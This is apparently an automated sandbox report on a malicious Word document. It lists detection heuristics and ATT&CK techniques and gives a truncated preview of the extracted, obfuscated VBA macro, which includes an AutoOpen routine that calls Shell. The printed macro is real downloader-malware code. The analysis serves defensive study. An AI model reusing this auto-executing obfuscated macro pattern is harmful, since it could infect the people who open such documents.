MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen execution marker. The macro is designed to execute a command, likely to download and run a second-stage payload, as indicated by the 'Shell' execution token and the ClamAV detection name 'Doc.Downloader.Valyria-6713303-0'. The obfuscated nature of the VBA code prevents a more detailed analysis of the exact payload or download URL.
Heuristics 6
-
ClamAV: Doc.Downloader.Valyria-6713303-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6713303-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17673 bytes |
SHA-256: 74d9f0a95dba3cb48ed512a3b0e07f6eafd72fbb307b8f264dad8b09800ac9d6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "MrEwmRHqNcULa" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Const abiVFfRfB = 0 Dim MvSLz(3) MvSLz(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) MvSLz(1) = Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) MvSLz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Right(pRKLj, 308) Dim TOWRtS(3) TOWRtS(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Right(pRKLj, 308) TOWRtS(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308) TOWRtS(2) = Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) Dim OKVPpt(3) OKVPpt(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) OKVPpt(1) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) OKVPpt(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) Dim KwEfY(2) KwEfY(0) = MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308) KwEfY(1) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) Dim wGvqP(3) wGvqP(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) wGvqP(1) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751) wGvqP(2) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) Dim YiGOX(2) YiGOX(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) YiGOX(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308) Dim zLsld(2) zLsld(0) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) zLsld(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) Dim JQoIwM(3) JQoIwM(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) JQoIwM(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) JQoIwM(2) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) Shell@ wwmDvYwfi + wkmGKrQj + oarHsYzjjz + ASVjIrviWJK, abiVFfRfB Dim NAFKjz(4) NAFKjz(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) NAFKjz(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) NAFKjz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) NAFKjz(3) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) Dim FRnjj(4) FRnjj(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751) FRnjj(1) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) FRnjj(2) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) FRnjj(3) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) Dim LMFjkF(3) LMFjkF(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) LMFjkF(1) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) LMFjkF(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) End Sub Attribute VB_Name = "SbpVUcCiQDifYu" Function wwmDvYwfi() Dim YYXtdo(5) YYXtdo(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) YYXtdo(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) YYXtdo(2) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751) YYXtdo(3) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308) YYXtdo(4) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) Dim bXSdJQ(4) bXSdJQ(0) = Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) bXSdJQ(1) = Right(pRKLj, 308) + Right(pRKLj, 308) bXSdJQ(2) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) bXSdJQ(3) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308) Dim Btubo(2) Btubo(0) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) Btubo(1) = Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) Dim laQjL(5) laQjL(0) = Mi ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.